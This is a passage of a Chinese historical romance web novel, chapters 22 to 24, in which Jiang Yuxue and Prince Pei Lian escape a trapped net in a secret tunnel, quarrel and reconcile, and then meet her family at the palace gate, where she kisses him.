“殿下……你顶到我了……”
22. 第22章
“顶到你了?”裴敛疑惑道,“什么东西?”
姜钰雪眨眨眼,支支吾吾回道:“我……我怎么知道,又不长在我身上……就在我肚子那儿。”
闻言,裴敛左手往腰间伸去,拿出一把匕首举在姜钰雪面前:“这个?”
咦!!!
姜钰雪吓得坐了起来。
这这这玩意儿怎么又抵在她肚子上了?!
“别动!”
一声令下,姜钰雪的腰间掐上裴敛宽大的手掌,箍得她动弹不得。掌心的温度隔着浸湿的衣服传到她的皮肤上,温热的,有力的。
见她不再动弹,裴敛松开手,说道:“你仔细看看周围。”
姜钰雪维持着坐起的姿势四下望去。
暗道四周的墙上布满了暗格,暗格内冷光闪烁,尖锐的刀锋从四面八方对准着垂挂在半空中的这张网。
大网的粗绳上缠绕着细线,密密麻麻的细线连接到暗格之内。
只需稍稍扯动粗网,细线一断,藏在暗格中的刀刃便会迅猛飞出,刺进这张网之中。
“你若是再胡乱拉扯到这张网,我们两个就都要被刺成筛子。”裴敛解释着,看向艰难维持着身形的姜钰雪,警示道,“知道了吗?”
姜钰雪重重地点着头,僵持着的腰发着颤,已然快要坚持不下去,可怜兮兮地求助道:“那、那我现在该怎么办,我要坚持不住了……!”
裴敛闻言看去,纤细的腰肢无助地颤抖,软得好似没有半点骨头,如她所说已然没有太多的力气了。
他移开视线,无奈地叹了声气,开口道:“失礼。”
随后,伸手握住她的腰,指示道:“放松,手按在我身上,慢慢坐下来。”
两只温热的手掐在她如柳的腰上,给她提供了稳固的支点。
姜钰雪双手撑在他腰腹上,小心翼翼地将身子往下压,打算顺着他弯起的腿坐回去。
一时间,黑暗中只剩下窸窣的声响。大腿之间的布料相互摩擦着,将她被浸湿的衣服挤出了水,又很快被对方干净的衣物给吸走,留下一道道深深浅浅的水痕。
在裴敛的扶持下,姜钰雪总算是坐了回去,结结实实的触感让她心里安心许多。
她长舒口气,愁苦道:“那我们、我们动又动不了,怎么办啊?”
“我动不了,你来动。”
裴敛回着,目光落到两人头顶那张网的绳结处,解释道,“看到那个收口处的结了吗?你拿着匕首,把它割断,周围连着暗格的细线断了的时候,我们也会一起掉下去,这样就能出来了。”
姜钰雪循着他的视线望去,蹙了蹙眉:“那里太远了,我这个位置也够不着呀……还得再往前一点,把身子抬起来才行……”
“嗯。”裴敛应着,随后指示道:“坐上来。”
“啊?”姜钰雪有些恍惚,“坐、坐哪里?”
“坐我腰上,”裴敛说着,知晓她那处看得不太实切,还特地解释道,“刚好在它正下方。”
姜钰雪连连摇头,耷拉着唇角一脸为难:“不行不行,我不敢!我等会挪一挪,它、它要是晃起来了怎么办……!我我我做不来的!”
裴敛放在她腰上的手轻轻收了一下,说道:“我帮你。”
他话说得平静,好像有他在,再困难的事都会理所应当地变得容易。
原本还十分抗拒的姜钰雪心里顿时安定了些,小声确认道:“……你帮我?”
“嗯。”裴敛应道。
“那你……”姜钰雪抚上他按在她腰上的一只手,抿着唇怯怯请求道,“你能不能再用力点……抓紧我……呜呜呜我害怕……”
话落,腰上的大掌往软肉中用力掐了一把。
“唔……!”姜钰雪止不住一颤。
裴敛静静看着她脸上的神情,询问道:“这样可以吗?”
“嗯……谢谢殿下……”姜钰雪点了点头,终于平定好心情后问道,“那、那我现在要怎么做呀?”
裴敛一手顺着她的腰往下伸,在她夹在他双腿之间的大腿上轻轻一拍,指示道:“张开腿。”
“啊?”姜钰雪没理解他说的话,重复道,“张、张开?”
“嗯。”裴敛解释道,“不然你要怎么跨到另一侧?”
“哦!”姜钰雪了然,点点头,“对哦……!”
“你、你等会儿,我先挪一挪。”
她说着,将双手按在他的腹上,重心前移,缓缓抬起臀。
原先因为害怕而紧紧夹着的大腿慢慢松开,衣服上的水渍因为两人的体温被蒸得有些黏腻。她抬起右腿,结实的触感从内侧抽离,凉风灌进其中,一时间空荡荡一片。
裙摆随着她的动作微微掀起,勾在了他的膝盖上滑落至他的大腿根。
姜钰雪小心翼翼地将腿抬到另一侧,全神贯注地重新调整好重心,终于是成功地将腿跨了过去。
“呼……”姜钰雪长舒一口气,乖巧地向裴敛汇报道,“我跨过去了,殿下。”
“嗯,那我们开始。”话落,腰间的大掌忽然掐着她的腰身往前带。
姜钰雪仓皇地抓住她腰上的手,惊恐道:“太快了!太快了我跟不上你!不行不行!”
忽的,“啪嗒”一声,暗格内瞬时射出一道寒光。
“趴下!”裴敛伸手将她的头按在自己身前,银针窜起一阵嗡鸣,在他的身侧飞过。
姜钰雪被吓得埋头在他的身上发着抖,耳边还留有空气嗡鸣的声音:“呜呜呜……我就说太快了,我不行……”
“好吓人……差点就……呜呜呜……”
裴敛看她被吓得不轻,一时沉默。
掌心的腰肢柔软如水,他确实是不知道女子的身子会这般。
“那我们慢些。”他低声说着,放在她腰上的手轻轻拍了拍,“起来吧,没事了。”
姜钰雪还窝着不放,心里依旧在后怕。但她也知道,想出去,她必须得把这事做了。
挣扎片刻后,她抬起头看向他,怯怯道:“那你……慢点,要听我的。”
“嗯。”裴敛应道。
姜钰雪踌躇着,努努嘴,又要求道:“不行,你要说……‘我都听你的’。”
裴敛眨了眨眼,不知道她在执着些什么,但看她这幅委屈得不行的模样,还是照着她要求的做了:“好,我都听你的。”
得到他的承诺,姜钰雪这才支起身来,定了定心神,继续往前挪。
这次,握在她腰上的手确实慢了许多。
她双手按在他的腹上,慢慢往上面挪去。
掌心划过他结实有力的腹肌,压下去,能感受到那坚硬的肌肉在与她对抗着。
白皙的指尖顺着她向上游走,挑过他衣服上系着挂饰的系带,令原来固定好的衣领一下敞开来,隐隐露出其下掩藏的红痣。
腰上的大掌随着她前进的动作,缓慢地推着她,分明在配合着她,却又让她无法违抗,只能照着他想要的去做。
终于在她掌心感受到鼓起的胸肌下强壮有力的心跳声时,她才得以安心地坐了下去。
“哈……”姜钰雪松了口气,额头不知何时都紧张得出了层薄汗,轻轻喘气道,“坐下去了,殿下。”
“嗯,”裴敛松开箍在她腰上的手,从袖口拿出那把匕首递给她,“你拿着。”
姜钰雪接过那把匕首,卸下刀鞘,看着那刀刃的寒光有些畏怯。
尔后,她看了裴敛一眼,问道:“殿下……我可以搭在你肩上吗?这样才撑得住。”
裴敛稍稍歪过头,空出半边肩膀,回道:“嗯。”
白皙的小手搭上他的肩,姜钰雪抬头看了眼那个绳结,手一用力,直起身来。
裴敛依旧用双手虚的环在她腰间,避免她突然使不上力摔回来。
两人同时将目光投向头顶的绳结上,随着匕首的刀刃离那绳结越来越近,气氛变得越发紧张起来。
不觉间,裴敛的鼻尖飘过一阵清甜的香气。他循着香气移过视线,这才发现自己的视野已经被对方的胸怀所占据。
身前浸湿的衣服将那饱满挺拔的弧度勾勒得一清二楚,怀中的香气被两人之间的温度蒸腾到四溢而出。那气味,是栀子花的清气、又带有柑橘的甜,与他掌中那柔软的腰肢是那样的相符。
下一刻,近在咫尺的春山忽然开始颤动。裴敛一怔,握着腰的掌下意识掐紧,想让面前逼近的山摇止住。
“唔!”姜钰雪被他掐得一颤,疑惑地同他说道,“殿下,没事儿,我还有力气的,谢谢你。”
“就是这个绳结太粗了,我得割一会儿,你再等等。”
说完,她越发卖力地动起了手。
面前的春山随之更加剧烈地起伏,一颤一晃,尽收进眼中。
裴敛闭目收起了视线,转念抬头去看她将那绳结割成了什么模样。
怎料,姜钰雪已经撑着他的肩膀将身子抬得老高,视线中只剩下她湿润的唇瓣,耳中涌入她忽轻忽重的气息
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间深深浅浅的轻喘。
鼻尖的香气越来越浓,裴敛将脸同她拉开距离些距离,却是被她一把抓住肩膀,逼得更紧了。
“姜钰雪……你退开些。”裴敛压着声音说道。
“嗯?”姜钰雪这头还专心地干着事,不知他为何突然这样,疑惑道,“为何?那样我使不上劲了。”
裴敛将要开口,姜钰雪没等他,继续道:“我知道压着你肩膀你觉得难受,你再忍忍,我很快,我弄快些。”
说完,她又加重了力道,喘出的气息也随之加重。
姜钰雪这头割着绳结的手已经酸得不行,但看着逐渐变细的绳结,还是咬着牙坚持着。然而,手上压着的肩膀忽的拉开了点,害得她方才那一下割空了,心里顿时焦躁起来。
“都说了不要动!”姜钰雪气呼呼地锤了一下对方的肩膀,大声道,“你这样我使不上劲!就差一点了你忍一下嘛!讨厌!!”
话落,暗道内原本沉寂的气氛被她突然的话音给打破,紧接着最后的那声“讨厌”在上空反复回荡。
姜钰雪回过神来,发现自己刚才的举止过于暴躁了些,甚至还打了对方一下。
她尴尬地抿了抿唇,怂里怂气地小声道:“请、请……请再等一下嘛……不、不讨厌……”
“快点。”裴敛沉声道。
“是、是、是……”姜钰雪认怂地连声应道,赶忙继续了起来。
裴敛抽回心神,屏息闭目不再去纠结这些,由着她贴近自己。
就在脸上碰到那温软云团的一瞬,他呼吸一滞,随着姜钰雪的一声“好了!”,绳结断裂,两人在一瞬间往下坠去。
四周的暗格□□出雨一般密集的利刃,在空中震出刺耳的嗡鸣。抬头一看,正上方的绳结后竟也藏了一个暗格,朝着他们射出了好几只银针。
裴敛环住姜钰雪的肩背,握住她还抓着匕首的手,带着她一齐挥动着匕首将那银针打落。
“啊啊啊啊啊手!!我的手!!!”姜钰雪本就酸得发疼的手腕,在这一阵阵打击中被震麻。她一边被裴敛抓着挥来挥去,一边绝望地惨叫着。
直到所有的喧嚣通通消散,暗道中只剩下姜钰雪害怕得啜泣的声音。
“下来吧。”裴敛偏头看向埋在自己颈窝的人,说道。
姜钰雪整个人挂在他身上,死死搂着他的脖子不肯下来:“不要不要不要……我不要被刺成筛子呜呜呜……”
裴敛无奈地叹了声气,又道:“已经落地了,没事了。”
“快下来。”
闻言,姜钰雪隙开一条眼缝,看见地面和河流,这才回过神来,随着他俯身的动作踩回了地面。
“阿嚏!”许是精神松懈了下来,姜钰雪泡了水的身子生起本该有的凉意,随即打了个喷嚏。
她伸手到怀中摸索着帕子,掏出来一看却才想起帕子也被弄湿了。
“用我的吧。”裴敛将自己的帕子递了过去。
姜钰雪接过帕子,一边擦着脸上的水,一边心有余悸地小声啜着气,随即身上又被披上一件暖和的外衫。
“穿着,别着凉了。”裴敛将还算干净的外衫披到姜钰雪身上,随后走到前面,“整理好了就出发,走吧。”
男子的外衫实在是宽,姜钰雪将袖口卷了好几圈,又把衣服在腰处折了好几折露出小脚,接着从腰上取下一条装饰用的系带固定好,这才跟了上去。
裴敛回头看着娇小的人影跟在自己身后,抬手将脸上残留的触感抹去,没有再同她说些什么。
一时间,暗道内除了两人的脚步声,再也没其他的动静。
姜钰雪看着他的背影,一时觉得气氛有些沉重。
她想起自己方才的行径,不禁有些心虚。
他不会还在生气吧……?
姜钰雪一边走着,一边紧张地捏着自己的手指。
一开始,是因为她溜出宫来,所以他才会跑到这里面。
接着,又因为她不小心踩了个什么东西,两个人才会被吊起来。
最后,他教她怎么逃出来,反倒被她凶了一顿,甚至还挨了她一下打。
怎么姜子逸说的那些对她怎么怎么不好的事,全给她自己干了……
姜钰雪越想越懊悔,小跑几步跑到了他身后。
裴敛听见身后逐渐接近的脚步声,停下步伐回过身去。
两人四目相对,同时开了口。
“方才失礼了。”
“刚才对不起。”
23. 第23章
两道声音混在一起,各自都没听清对方说了什么,最后还是裴敛率先开口问道:“你说什么?”
姜钰雪见他还愿意理她,心里稍稍松了口气。
还好还好,没有很生气。
一会儿还得求求他,让他不要在她爹娘面前表现得多不喜欢她呢。
她抿了抿唇,重复道:“我说刚才对不起……”
“我凶了你,还打了你一下……”
裴敛其实并未将此事放在心上。
他浅浅叹了声,打算开口将此事翻篇,却见她睁着双水润的黑眸看向他,双手合十地摆出求饶的模样。
“你若是还在生气,那我也让你骂骂……”
“只是打的话,你、你轻点……”
话落,裴敛的脸色骤然一沉,一言不发地朝姜钰雪走去。
姜钰雪感受到他逼人的气势,以为他当真要来一回以牙还牙,吓得闭上了眼,听着逐步逼近的脚步声等待着他的处置。
“姜钰雪,”脚步声停在了离她极近的地方,对方的声音带着些许质问的情绪从她的面前传来。
姜钰雪缓缓睁开眼,对上了裴敛紧紧盯向她的双眸,看着他对自己沉声问道:“你对谁都这样吗?”
“什、什么这样……?”姜钰雪没明白他话里的意思,只觉得他现在有些吓人,手不觉攥紧。
“就是现在这样,讨好、卖乖、出卖姿色、装可怜乞求。”
“我、我没有……!”
“没有?”裴敛打断了她的话,“你敢说你卖完这下乖后没有事要求我?”
姜钰雪一下语塞,辩解的话语通通噎在了喉中。
看着对方眼中的闪烁,裴敛心下了然:“你总是这样,最是受人欺负的。”
姜钰雪被他的冷得骇人的神色逼退了好几步,但还是鼓着气想再同他解释道:“我只是想求你…”
“他人是不会平白无故给你什么的。”裴敛抓着她的手往回拉,姜钰雪每退一步,他便将她拽得更紧,直到两人近得能互相看到对方的眼睫,害怕与愠怒的气息交融在其中。
“你今日求我,明日再求我,你想拿什么跟我换?”
“若我厌了,懒得给你好脸色了,你接下来还要如何?”
“换个人求?还是像当时在刘若汐面前一样接着往上贴?”
姜钰雪被他死死拽着无法动弹,被迫抬起头去接受他骇人的目光。
她不知道他为何突然这般生气,双唇张合许久也没有找到自己可以辩驳的机会。
“不要这样,姜钰雪。”
“你这样,最是令人生厌的。”
裴敛抓着对方手腕的手上落下一滴水,从他手背上滑落,最后滴在了冰冷的地上。
一片寂静中,啜泣声随之响起。
又哭了。
裴敛面色严肃,全然没有松手的意思,就这么看着她哭。
姜钰雪低着头,颤抖着肩膀低声啜泣着,眼泪止不住地往下掉。
他说她令人生厌。
被迫嫁给自己不认识的人。
被从小认识的朋友以刀相对。
想家又不能回。
自己那么期待今天,却又搞得一团糟。
她只是想要日子过得平平淡淡的,不需要每天费尽心思去面对那些让她难过的人和事。
她又做错了什么?
为什么……为什么要说她讨人厌?
这些日子里对煎熬和难过的自我麻痹被这一句话给重重挑破,泪水接连不断地落下,全然没有止住的势头。
裴敛双眸微眯,隐隐觉得有些异样。
往常她都是哭得雷声大雨点小的,今日却是安静得不行,泪却落了一片。
见她确实不对劲,裴敛稍稍松开了手,偏下头看她:“你、”
怎知,他话还没说出口,姜钰雪一把甩开他的手,哭红着眼对他吼道:“我都说了我没有!”
“我没有对谁都这样!”
裴敛一怔,还未做什么反应,便听到她继续吼道。
“你以为我稀罕求你!”
“要不是没有办法,我这辈子都不想靠近你!”
“我最讨厌你们这些臭男人!”
吼完,一边抹着泪转身自己跑到了前面。
裴敛见她要跑,伸手去抓她,竟是抓空了,只能对着她背影劝道:“你不识路,莫要跑那么快。”
姜钰雪快步走在前面,头也不回地边哭边喊道:“我不要和你说话!”
暗道的上空,两道脚步声一快一慢。两人之间隔了两三个人的距离,一路无言地向前走。
裴敛偏头看向一旁才他肩膀高的小人儿,见她低垂着头捏着自己的手指,不知在想些什么。
姜钰雪耷拉着唇角,眼神游离,心不在焉地捏着自己的手指。
从小到大,她就是家中最不起眼的那个。
姐姐美貌倾城,知书达理,是众多世家公子追求的对象。
弟弟能文能武,出类拔萃,是多少人羡慕不来的天才。
而她,分明夹在两个那么好的人中间,却这也不行那也不行,出去总遭人笑话,说她怕不是捡来的、没人要。
但她也无所谓,家里人对她都很好,并没有因为她是个小废物就冷落她。
她对这一切已经很满意了,只想尽可能地不给家里惹麻烦,让家里的人能继续好下去。
所以面对别人的恶意时,她也只是能让就让,能避就避,不去主动招惹麻烦。
现在家里需要她,哪怕是多么小的可能性,要她多么努力,她都愿意。
可她做的这一切努力,在他眼里却只是令人生厌的讨好和卖弄。
她真的是很差劲的一个人吗?
差劲到家里真的需要她的时候,她却一点忙都帮不上,什么都回报不了?
她越想越烦,手指开始不自觉地抓着另一边的手背,指甲挠得上面一道道的红痕,即便是被泪水打湿了也没觉察到疼痛。
“你做什么?!”裴敛一把按住她的手,想将它分开。
但这人一生气后就不知是哪来的力气,怎么拽都不肯松开。他怕伤着她,也不敢太过用力,反倒被她在手背上挠了几下。
姜钰雪趁机甩开他的手,警惕地连退了好几步,偏过头不理他。
裴敛看了眼手上的抓痕,蹙了蹙眉:“你到底怎么了?”说着,又向她走去。
见对方过来,姜钰雪往后退了一步,一下撞在了墙壁上,发现自己已经无路可退。
她干脆转身面向墙面,蹲下身子,脸埋进膝盖,把手藏在胸前起来,不给看,不给碰。
裴敛轻叹一声,耐着性子走到她旁边屈膝半跪。白色的衣袂落在地上,染了地上的尘。
“姜钰雪。”他把手伸到她跟前,说道,“手给我。“
姜钰雪没回他。
“你若不给我,我便自己抢了。”裴敛最后劝道。
话落,姜钰雪竟是把肩膀再缩了缩,打定了主意不想理他。
裴敛沉沉呼出一口气,确认了周围没有什么奇怪的暗格后,抬手去抓她的手臂。
感受到对方的接近,姜钰雪歪过身子想躲开他,却是一下就被抓住了。
她身子猛的往后退,挣扎着想从对方的牵制中挣脱开。
裴敛本没多用力,见她一下把自己的手拽了过去,干脆整个手掌圈住她的胳膊,将她往回拉。
可他越使劲,姜钰雪就反抗得越厉害,甚至是疼得闷声叫了出来,也依旧不肯把手给他。
看她吃了疼,裴敛沉声劝道:“疼你就别反抗。”
听到这话的姜钰雪更加受了刺激,爆发出愈加猛烈的挣扎。
裴敛从未对女子这般动过粗,劝也劝了,就是下重手也留着点分寸。此时被她这般耗着,耐心也消耗了不少,手里加深力道猛的一拽,将对方的一只手彻底拽了出来。
姜钰雪瞬间失了重心,一屁股摔坐到了地上,情绪崩溃地大声哭了出来。
“摔疼了?”裴敛另一手扶住她的肩膀,避免她朝后再磕着脑袋。
姜钰雪趁机又想把手缩回去,被裴敛死死握在手中,指甲掐到他手背肉里都没有松开丝毫。
未果,她干脆又把脸埋进膝盖里,狼狈地哭了起来。
见她这样抗拒,裴敛没有再逼她,只是低头去看她那只手背上的抓痕。
红色的抓痕肿起一道道皮肉,有不少还破了皮,落在这如玉的小手上显得格外扎眼。
看着这些伤痕,裴敛不禁蹙眉:“你这样抓自己做什么?”
掌心中的小手还紧张地轻轻挠着。裴敛动了动掌心,将她的五指箍在自己的虎口间,避免她继续抓她自己,随后开口道:“我方才说的话,让你不高兴了?不乐意了?”
“是我说的不对?我错怪你了?”
视线中,小小的肩膀颤抖着,像是受了极大惊吓的小猫,在走投无路后把头藏进某个狭小的洞里,逃避那些自己不想面对的事情。
“我没有……”委屈的哽咽声从那一小团身板里传来,带着啜泣声断断续续的,“我没有对谁都这样……”
“你还说……”她把头往里再缩了缩,卯了股劲才说出来,“说我讨人厌……”
“没有人喜欢我……!”
说罢,难过的情绪一下决堤,泪水随着她的哭号一起涌了出来。
她一边哭着,嘴里还反复念叨着:“我没有用,我是废物,大家都讨厌我……”
裴敛闻言一怔,说道:“我并未这么说。”
“你有……你就是、你就是说了……!”姜钰雪呜咽着,嘴里含含糊糊说不清楚。
裴敛蹙眉,疑惑地顿了顿,尔后俯身向她靠近了些,诚声开口:“我没有说你没用。”
他看着她哭得颤抖不止的肩膀,耐着性子解释道:“我那些话的意思,是说你这样容易受人欺负,你既遭人欺负,又对人有所求,旁人便会看不起你,这样贬低自己,久了身边的人也会厌你。”
“为何要这样?你又没做错事,你不必什么事都这个姿态。”
他握住还在挠着自己手背的小手,将她弯曲的手指一点点拨开,抬眸看向她:“何必这样糟践自己。”
裴敛没有继续说话,只是维持着姿势,一下又一下地阻止她继续挠自己。
不知反复了多少回,姜钰雪总算没有再挠下去,稍稍抬起头,从膝盖边浅浅探出了对哭得红肿的眼睛,无言地偷偷盯着对方。
面前的人屈尊半跪于前,正垂眸握着她的手,面上没有神情,还是往常那副冰冰冷冷的模样,但是掌心却是暖和的。
对方自然是觉察到了她的视线,抬眸看向她的一瞬,姜钰雪“嗖”地一下又将脸藏了起来。
她低头看着地上的衣袂,白色的袖摆拖在地上,带着沙砾摩擦的声响向她靠近,又忽的停了下来。
姜钰雪眸光闪烁,又再缓缓抬头去偷看,一探,发现他的脸已经近在咫尺。
近得能在他的眼睛看到她自己。
“还有什么要我解释的?”裴敛弯下身凑到她面前,细细盯着她眼中的情绪。
姜钰雪又是一缩,但这次她没有把头埋回去,只是怯怯地看向他。对方握着自己的手紧了紧,平稳的脉搏顺着掌心传递过来,自己耳边的心跳声也跟着平静了下来。
良久,她才用着哭哑了声音颤颤道:“那你呢?”
“嗯?”她声音实在是太小了,裴敛只得又往她跟前凑了凑,让她在他耳边重复一次。
雪松的香气缭绕到鼻尖,此时,姜钰雪才发现自己身上的衣服也是这股味道。
安逸的,纯粹的味道。
“那你……讨厌我吗?”姜钰雪说完,很快又把脸埋了回去,不敢去看他。
“我没有讨厌你。”她刚把自己藏起来,便听见裴敛回应了她。
姜钰雪攥在胸前的那只手紧了紧,又抬起头看他,确认道:“没有?”
“没有。”裴敛应道。
姜钰雪眼中的眸光亮了亮,又把头抬高了些,总算是把脸露了出来。
“那你……”姜钰雪又开口问话。裴敛见她仰着头,嗓子又是哑的,便把身子压低了些,把耳朵凑到她脸侧,听见她继续道,“你喜欢我吗?”
闻言,裴敛一滞,迟疑地眨了眨眼,偏头又对上她那充满期待的目光,眼都不眨,就这么盯着他。
见他沉默许久,姜钰雪眸中的神色又暗了下去,脸往膝盖里头一埋,连带着把他握着的那只手也收了回去:“你不喜欢我,你讨厌我。”
怎就这么极端?
裴敛无奈地直起身来,看着她侧脸上压出的红痕,斟酌开口道:“就没有中间的选项吗?”
“有。”小团脑袋上下点了点。
“那便选中间那个。”裴敛妥协道。
姜钰雪探出半张脸,这回反倒是她变得迟疑了不少,试探道:“……又爱又恨?”
裴敛又是一愣。
这算是中间选项吗?
未果,他只得轻叹一声,再次妥协道:“我没有讨厌你,其余的,你自己想着便行。”
话落,裴敛重新摆正身形,与她拉开了距离。
他将要把衣服捋好,袖口却是被一只小手抓住,随后顺着他的袖口伸进去,抓住他的一只手腕,带到自己的身前。
“那我该怎么想殿下比较合适呢……”姜钰雪将他的手捧在身前,宽大的衣服下露出她纤细的腕骨,五指从他掌心摸索而上,尔后十指相扣,“殿下可以……示范一下吗?”
哭红的眼角还带着一点泪痕,小脸闷得红扑扑一片,目光纯粹地看向对方。
裴敛抬手向她靠近,姜钰雪下意识闭上眼,头顶忽的落下一阵轻柔的抚摸,随后听到对方平和的声音:“你方才做得很好,并非是无用之人。”
闻言,姜钰雪鼻头一酸,眼眶中瞬间盛满了泪水,一直绷紧的弦忽的解开,连同着压在心头的委屈一同消散。
“怎的又……?!”裴敛放在她头上的手一滞,下一刻便被她一下扑进怀中。
“殿下————呜呜呜呜…………”姜钰雪紧紧搂着他的脖子,一边大哭
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一边大喊,“我、我要跟殿下和好!”
“我要跟你和好!!!”
裴敛被她这猝不及防的一扑撞得坐在地上,脖子上挂着个人在他耳边大哭大叫。
“殿下……呜呜……殿下对不起,我、我骂你是臭男人……”
姜钰雪一边说着一边吸着鼻子,带着哭腔断断续续地大声道,“我、我说的都是气话,我给你道歉。”
“对!不!起!殿下!”
“对不起!!!殿下不是臭男人,殿下是、”
“殿下是香男人!!!”
说着,她一把埋进他颈窝,又蹭又闻。
裴敛按住她的肩膀将她拉开:“姜小姐,请不要得寸进尺……!”
“殿下……!呜呜呜……”姜钰雪一边哭,一边伸长着手在空中比划着。
两人你来我推的纠缠了好一会儿,终于是在太阳下山前出了暗道。
“殿下。”洛十一将姜子逸带回宫门后便马不停蹄地赶了回来,见裴敛和姜钰雪安然无恙的出来,心里暗暗松下一口气,上前汇报道,“殿下,已将姜公子送回了宫门处。那个车夫和几个贼人也已经拉回去派了人去调查,大抵明日就能回报。”
“嗯。”裴敛应着,回头看了眼跟在他身后的姜钰雪,转头吩咐道,“先带她去换身衣服。”
闻言,洛十一嘴角一勾,抬手把一直候在后头新月喊了上来:“小的已经备好了。”
作为殿下的贴身侍从,当然是要考虑周到的。
“新月。”姜钰雪见到她一脸担忧地跑上前来,赶忙唤了她。
新月上前看到她这身邋遢样,眉头直皱,关切道:“小姐,你怎么浑身脏兮兮的,摔着了?伤着没有?”
“没事,只是衣服脏了而已。”姜钰雪摆摆手,跟着新月一起上了车去换衣服。
裴敛看着两人上了车,经过洛十一时垂眸看了他一眼。
洛十一拱拱手,笑道:“殿下的在另一边。”
裴敛收回视线,走向姜钰雪上的那辆车,最后停在了车门处,转过身,令道:“都背过身去。”
-
皇宫内,姜子逸坐在宫门边的石狮上看着远处的街道,心中不安地等待着。
洛十一将他送回时,他曾问过等姜钰雪平安回来后,还能不能跟家里人见上一面。
洛十一摇了摇头,解释道:“有殿下在,姜公子大可放心,侧妃定是无事的。只是,此事起因尚未查明,为了避免生出其他的事端,恐怕不方便下车相见,只能路过时看一眼。另外,还请姜公子对此事保密,务必不与任何人说,包括姜丞相。”
于是,他便在这等啊等。每经过一辆车,他就焦急地往人家车里看去。若不是在宫里,恐怕都要被人当作强盗了。
“你!你个臭小子给我溜到这来了!”忽的,身旁响起了一个男子的骂声。
姜子逸转头看过去,唤了声:“爹,娘。”
“你这成何体统!”姜甫见他坐在那石狮上,指了指他又指了指地面,命道,“快给我下来!”
姜子逸脚下一晃,从那石狮上跳回了地面。
姜甫瞪了他一眼,问道:“你跑哪去了?我和你娘在里头等着你,你倒好,四处鬼混!”
姜子逸嫌弃地哼了一声:“我本来就不想参与。我就是来碰碰运气,看能不能见到阿姐。”
“然后呢?我们看了,她没来,这跟你四处鬼混有什么关系吗?”姜甫回道。
“我见到了,我还带着阿姐一块儿呢。”姜子逸反驳了一句。
“你见到了?”
“雪儿来了?”
闻言,姜甫和李兰惜异口同声问道,都睁着眼看他。
“不对,你个臭小子你!”姜甫回过神来,抬手打了姜子逸的胳膊,“你阿姐都嫁到王府去了,你怎么能随便带王府的人四处跑!”
“什么王府的人!”姜子逸偏身躲过姜甫的手,生气地回道,“阿姐就是嫁了,那也是我的阿姐,也是爹和娘的女儿,怎么就成王府的人了!”
“嘘!”姜甫见他说话这般不遮掩,忙打断他,“小点声!”
“那雪儿人呢?”一旁的李兰惜突然问道。
姜子逸跟姜甫吵嘴的动作一顿,犹豫片刻才回道:“她跟那个世子在一块儿呢。”
“跟殿下在一块儿?”姜甫说道。
李兰惜闻言,绕过姜甫走到姜子逸面前,一脸期待地问道:“那看她跟世子相处的样子,关系好不好呀?那世子瞧着,喜欢咱们家雪儿不?”
姜子逸扑朔了下眼睫,想起姜钰雪交代他的话,回道:“他们关系挺好的,我看他对阿姐也很好,娘不必担心。”
姜甫一旁站着,心里总觉得不对劲。
方才宴席才刚要正式开始,裴敛却是提前离开了,放在以往,他只当是世子有极为重要的正事要办,但放在今日……
姜甫将姜子逸拉到一边,低声问道:“你小子是不是闯祸了?”
“爹,你说什么啊。”姜子逸未想到姜甫这般警觉,连忙否认。
“你小子老实交代!”
“爹!”姜子逸刚跟他犟着,视线里看见远远驶来的一辆马车上探出一个脑袋,“阿姐!”
姜钰雪已经换了身衣服,从马车里探出个脑袋:“爹!娘!子逸!”
“雪儿!”李兰惜见到姜钰雪,笑得灿烂,冲着她摆摆手。
姜子逸看见她安然无恙,心里终于是松了口气,看着她的笑脸也忍不住跟着她笑了出来。
多日不见,姜钰雪实在是想念得紧,见到家人的这一刻,天底下的所有烦恼都跟不存在了一样,嘴角一直就没放下来过。
李兰惜在这间隙间往姜钰雪身后探了探,见到两人并未有什么接触,不皱眉。
姜钰雪心里一跳,想起姜子逸同她说过娘担心她和夫君关系不好的事,不禁回头看向身后的人。
车厢内,裴敛与她并排而坐,窗上滤进的夕阳将他的侧脸勾勒得精致,他呼吸平缓,撑着下巴靠在另一边的车窗边闭目休息。
姜钰雪攥了攥手,心下一狠,抓着他的衣袖撅起唇往他侧脸冲去。
被她拉了一下,裴敛以为她有何事,睁开眼转头面向她。
下一刻,柔软的触感在双唇间展开。
车厢外围观的人顿时发出一阵呼声。
李兰惜在这片呼声中高兴得直拍手:“好!好好好!果然关系很好!”
留着姜甫和姜子逸在一旁目瞪口呆。
车厢内,两人四目相对,瞳孔里映照着各自诧异的目光。
姜钰雪率先弹跳闪开,看着面前的人脸色冷得吓人,忙求饶道:“你等等!你听我解释!不是我亲你的!你听我解释!”
她一边辩解着,还不忘跟对方讨价还价:“你等会儿!我再看一眼我家里人,你等会儿!”
“爹!娘!子逸!”她又重新探出脑袋,用力挥着手,“下次见!”
裴敛看着她面上洋溢的笑容,无奈叹了声气,又靠回了窗边,摸了摸唇瓣。
罢了,回去再教训吧。
24. 第24章
回府的路上,姜钰雪一路绷直着身板坐在离裴敛最远的地方,连看都不敢看他一眼。
马车回到王府时,门前早已点起了明灯。
随着马车停靠在王府门前,一直垂眸倚靠在车窗边休息的裴敛睁开眼,抬眸往斜对面看去。
从方才逐渐驶近王府时,他就一直能感受到一阵视线,现在睁开眼一看,果真是见到角落里那对眼睛一眨不眨地盯着他。
醒、醒了!
姜钰雪警惕地缩在角落,后背贴着车门,紧张地抓着车门把,如临大敌。
一路上她都想好了,她不过是不小心亲了他一口,应该不至于要了她这条小命。
而且,那、那可是她初吻……谁占谁便宜都不知道呢!
“姜小姐。”
来、来了!
姜钰雪强压着心头的慌乱,紧张得连头顶翘起的碎发都要立起来了,强装镇定地等候着他继续说道。
“今日发生的种种,还请对任何人保密。”裴敛说着,缓缓坐直了身子,“以免妨碍到我办事。”
对于这些什么权术、什么阴谋的,姜钰雪也不懂,也没能力去懂。
今日她也不过是差点被几个贼人给劫路卖了去,听他这样要求,便也听话地点了点头。
见她老实应下了,裴敛没有再说什么,只是看她还一直盯着自己,遂问道:“有事?”
姜钰雪脑袋一缩,直摇头。
裴敛面无表情地打量了她一番,开口道:“那便去休息吧。”
闻言,姜钰雪心头一跳。
这、这是放她走了?
“遵、遵命……!”她说着,小心翼翼地打开了车门,提着裙子就要下去。
怎知,这脚才跨出一步,就听到身后人说出骇人的两个字:“等等。”
姜钰雪肩膀一颤,后背袭来一阵寒意。
“其余的,算你欠我的,我都给你记着了。”
对方说话的声音里没有情绪,却莫名有股威慑力,吓得姜钰雪不敢回头。
似是说完了话,对方总算真的松了口:“走吧。”
